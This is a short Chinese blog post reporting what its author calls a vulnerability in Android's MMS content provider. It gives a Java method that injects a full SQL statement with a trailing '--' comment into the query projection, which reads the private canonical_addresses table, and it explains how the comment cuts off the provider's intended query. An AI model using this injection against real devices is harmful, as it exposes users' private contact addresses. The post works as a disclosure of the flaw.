【原创】转载请加本篇博客地址http://www.cnblogs.com/scarecrow-blog/p/6266042.html
个人感觉这是android provider 的一个漏洞, 废话少说直接上代码
1 public String getCanonicalAddresses(String recipient_ids){ 2 String[] ids=recipient_ids.split(" "); 3 System.out.println("recipient_ids:"+recipient_ids); 4 String addressResult=""; 5 for (int i = 0; i < ids.length; i++) { 6 Cursor cur=ReadSmsActivity.this.getContentResolver().query(Uri.parse("content://mms/"), 7 new String[]{" * from canonical_addresses where _id="+ids[i].toString()+" --"}, null,null,null); 8 if(cur.getCount()>0){ 9 while (cur.moveToNext()){ 10 String _id=cur.getString(cur.getColumnIndex("_id")); 11 String address=cur.getString(cur.getColumnIndex("address")); 12 addressResult+="{"+_id+","+address+"}"; 13 } 14 } 15 } 16 return addressResult; 17 }
看第6和第7行,mms provider 实际上查询彩信相关的内容,并没有提供canonical-address的查询功能。 但是上面这种写法,通过在query方法入参的projection中直接写上几乎整条查询语句,并在后面加上“--” 实现了通过mms provider直接查询db中canonical_addresses表的功能。
原理:
大家都知道 projection中通常都是要查的表中的各个列名, 所以最后拼出来放到数据库中执行的sql语句类似于 SELECT projection FROM table where ....
但是这里讲projection完全替换成另一个完整的语句, 所以最后拼出来的样子大致是 SELECT * from canonical_addresses where _id="2" -- FROM table where ....
Sql 中“--” 是注释的意思。 这个方法正是利用了这一点, 把原来provider通过URI限定的查询语句偷换成了另外一个查询语句,从而得到了一个私有表的查询结果。